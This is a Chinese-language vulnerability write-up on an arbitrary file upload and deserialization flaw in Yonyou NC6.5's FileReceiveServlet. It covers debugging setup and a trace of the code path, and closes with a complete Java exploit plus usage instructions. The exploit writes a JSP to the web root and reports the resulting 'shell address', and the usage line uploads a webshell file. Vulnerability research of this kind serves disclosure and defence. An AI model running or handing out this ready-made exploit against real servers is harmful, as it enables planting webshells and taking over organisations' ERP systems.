用友NC6.5文件上传漏洞分析

1
用友NC这个系统在国内用户量还是挺多的,由于这个系统本身不开源且代码量极多,所以这个系统可能会存在大量的漏洞但挖掘的人相对较少,所以还是值得花时间去挖掘漏洞的,本次和大家一起分析用友NC6.5的任意文件上传漏洞,由于这个上传接口是将传入的数据反序列化解析后再上传的,所以exp对于很多同学来说不太容易构造,本次就带大家一起分析一下这个漏洞,文章的最后我会给出大家这个漏洞的exp。

调试环境搭建

​ 用友NC的搭建就不多说了,我们看下如何调试,用友NC搭建好后的目录是下面这样的。

image-20201216155829711

​ 可以点击startServer.bat来启动用友NC,启动后我们可以看到主要是通过下面红框的内容来运行用友的,我们可以将这句话复制下来,加上我们的调试代码后在cmd下直接运行开启调试。

1
E:\yonyou\home\ufjdk\bin\java -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n -server -Xmx768m -XX:PermSize=128m -XX:MaxPermSize=512m -Djava.awt.headless=true -Dfile.encoding=GBK -Duser.timezone=GMT+8 -Dnc.server.name=server -Dnc.server.startCount=0 -DNC_JAVA_HOME=$JAVA_HOME -Dorg.owasp.esapi.resources=E:\yonyou\home/ierp/bin/esapi -Dnc.bs.logging.format=text -Dnc.server.location=E:\yonyou\home -Drun.side=server -Dnc.run.side=server -cp E:\yonyou\home\starter.jar;E:\yonyou\home\ufjdk\lib\tools.jar;E:\yonyou\home\ant\lib\ant-launcher.jar;E:\yonyou\home\lib\cnytiruces.jar nc.bs.mw.start.AloneBootstrap start

image-20201216155945901

​ 开启后我们的主机会开启9999端口

image-20201216160224203

​ 再开启我们的神器IDEA,将用友的所有代码导入,并且开启远程调试

image-20201216160315988

​ 启动环境后我们需要测试一下是否可以正常调试,通过web.xml中我们可以看到所有的请求都会经过LoggerFilter过滤器,所以我们只要找到这个过滤器对应的类LoggerServletFilter打个断点即可测试。

image-20201216160601573

image-20201216160635750

漏洞分析

​ 之前t00ls上已经有人给出了POC,通过POC我们知道导致这个漏洞的是/servlet/FileReceiveServlet接口,那么我们如何知道处理这个请求的是哪个类呢?我们先看下web.xml中的配置,所有访问servlet下的请求都会由NCInvokerServlet这个servlet来处理,而NCInvokerServlet是由InvokerServlet这个类来处理的。

image-20201216161013921

image-20201216161104474

​ 我们找到InvokerServlet的doPost和doGeet方法,可以看到都是调用doAction来进行处理的。

image-20201216161216749

​ 我们可以随便请求一个路径比如:servlet\xxxx来跟踪一下doAction的处理流程,在这个方法是的开始,首先从请求中获取security_token和user_code并判断是否非空。

image-20201216161606047

​ 中间的过程就是获取路径信息赋值给serviceName,再调用了getServiceObject方法,这个方法会去判断我们请求的路径是否由对应的处理器处理,没有的话会抛异常。

image-20201216161727157

​ 跟进getServiceObject方法,调用了lookup方法。

image-20201216162135939

image-20201216162348531

​ 在getServerContext的lookup方法中,判断name的内容是否为Server,由于这里不为server因此会调用父类的lookup。

image-20201216162528500

​ 跟进父类AbstractContext的lookup方法,我们可以看到在这个方法中会根据name的不同执行不同的操作,如果name以java:comp/env/开始,则会执行JndiContext.lookup,其他的类似也是根据name的值执行不同的方法,如果都没有匹配成功,则会调用findMeta

image-20201216164806227

image-20201216170026353

​ 跟进findMeta,会调用ComponentMeta的getMeta,继续跟进会this.nameIndices中来获取我们传入的name值,这里由于我们传入的xxx没有,所以没有找到返回null。

image-20201216170154130

image-20201216170213052

image-20201216170238664

​ 如果我们传入的是FileReceiveServlet则可以正常获取并返回。

image-20201216171030438

​ 返回后,通过meta.getEjbName()获取FileReceiveServlet对应的jndiName的值

image-20201216171532013

​ 通过findComponent获取FileReceiveServlet的实例并返回

image-20201216172242491

image-20201216172328113

​ 一直返回到InvokerServlet后执行获取到的FileReceiveServlet对象的service方法

image-20201216172559306

​ 由于FileReceiveServlet类并没有service方法,因此会先调用其父类也就是HTTPServlet的serive方法,在service方法中根据请求的类型调用不同的方法,由于我们这里是get类型,因此最终会执行到FileReceiveServlet类的doGet方法。

image-20201216173021350

​ 跟进doGet方法我们可以看到,无论调用get或者post,最终都是调用handleRequest方法来进行处理的。

image-20201216173333987

​ 跟进handleRequest我们可以看到,首先获取了请求的输入流和相应的输出流。再通过readObject直接对我们传入的数据进行反序列化,所以这个漏洞不仅仅是一个上传漏洞也是一个反序列化漏洞,不过对于反序列化漏洞的利用不仅仅是readObject,还要找到一些依赖的组件,不过用友NC的代码量那么多这个也不难,先不说反序列化漏洞,我们继续看这个上传漏洞。

​ 通过readObject进行反序列化以后,将反序列化后的结果转换为map类型,其中map的键为String值为Object。再获取metaInfo的TARGET_FILE_PATH和FILE_NAME属性来当作path和filename,最后将获取的request输入流中的内容当作文件的内容进行写入。可以看到在整个文件上传的过程中,并没有对文件的后缀或者内容做任何限制,所以我们可以通过这个漏洞在任意目录下写入任意后缀的文件。

image-20201216173506942

POC构造

​ 经过上面的漏洞分析,我们已经对这个漏洞的成因有了一定的了解,在这个了解的基础上我们就可以尝试来构造POC,首先在反序列化后会获取一个MAP对象,并获取其中的两个属性,所以在我们的POC中,需要创建这两个属性并进行赋值

1
2
3
Map<String, Object> metaInfo = null;
metaInfo.put("TARGET_FILE_PATH", "E:/yonyou/home/webapps/nc_web");
metaInfo.put("FILE_NAME", "test666.jsp");

​ 另外我们需要将传入的内容进行序列化

1
2
ObjectOutputStream oos = new ObjectOutputStream(httpUrlConn.getOutputStream());
oos.writeObject(metaInfo);

​ 最后我们需要将我们想要写入的文件转换成输入流发送

1
2
3
4
5
6
7
8
9
10
11
12
File file = new File("C:\\Users\\admin\\Desktop\\test.jsp");
Long filelength = file.length(); // 获取文件长度
byte[] filecontent = new byte[filelength.intValue()];
try {
FileInputStream in =new FileInputStream(file);
byte[] buf = new byte[1024];
int len = 0;
while ((len = in.read(buf)) != -1) {
oos.write(buf, 0, len);
}
oos.flush();
oos.close();

​ 最后给出我简陋的POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

public class upload {
public static void main(String[] args) throws Exception {
BufferedReader reader;
StringBuffer response;
String uri="";
String url2="";
String path="/servlet/FileReceiveServlet";
Map<String, Object> metaInfo = new HashMap<String, Object>();
metaInfo.put("TARGET_FILE_PATH", "webapps/nc_web");
metaInfo.put("FILE_NAME", "sectest666.jsp");
uri=args[0];
url2=uri+path;
URL url = new URL(url2);
HttpURLConnection httpUrlConn = (HttpURLConnection)url.openConnection();
httpUrlConn.setRequestProperty("Content-Type","application/x-java-serialized-object");
httpUrlConn.setDoOutput(true);
httpUrlConn.setDoInput(true);
httpUrlConn.setUseCaches(false);
httpUrlConn.setRequestMethod("POST");
httpUrlConn.connect();
ByteArrayOutputStream baos=new ByteArrayOutputStream();
OutputStream out = httpUrlConn.getOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(out);
oos.writeObject(metaInfo);
File file = new File(args[1]);
Long filelength = file.length(); // 获取文件长度
byte[] filecontent = new byte[filelength.intValue()];
try {
FileInputStream in =new FileInputStream(file);
byte[] buf = new byte[1024];
int len = 0;
while ((len = in.read(buf)) != -1) {
baos.write(buf, 0, len);
}
baos.flush();
baos.writeTo(out);
baos.close();
InputStream inputStream = httpUrlConn.getInputStream();
reader = new BufferedReader(new InputStreamReader(inputStream, "UTF-8"));
String lines;
response = new StringBuffer("");

while ((lines = reader.readLine()) != null) {
response.append(lines);
}
} catch(FileNotFoundException e) {
e.printStackTrace();
} catch(IOException e) {
e.printStackTrace();
}
url2=uri+"/sectest666.jsp";
URL httpUrl = new URL(url2);
HttpURLConnection httpURLConnection = (HttpURLConnection) httpUrl.openConnection();
httpURLConnection.setReadTimeout(50000);
httpURLConnection.setRequestMethod("GET");
int code = httpURLConnection.getResponseCode();
if(code==200){
System.out.println("上传成功!!!!!");
System.out.println("shell 地址:\n"+uri+"/sectest666.jsp");
}
}
}

​ 使用方法

1
java -jar yongyou.jar http://192.168.3.30  D:\yijianma.jsp

image-20201217144654672

image-20201217144925282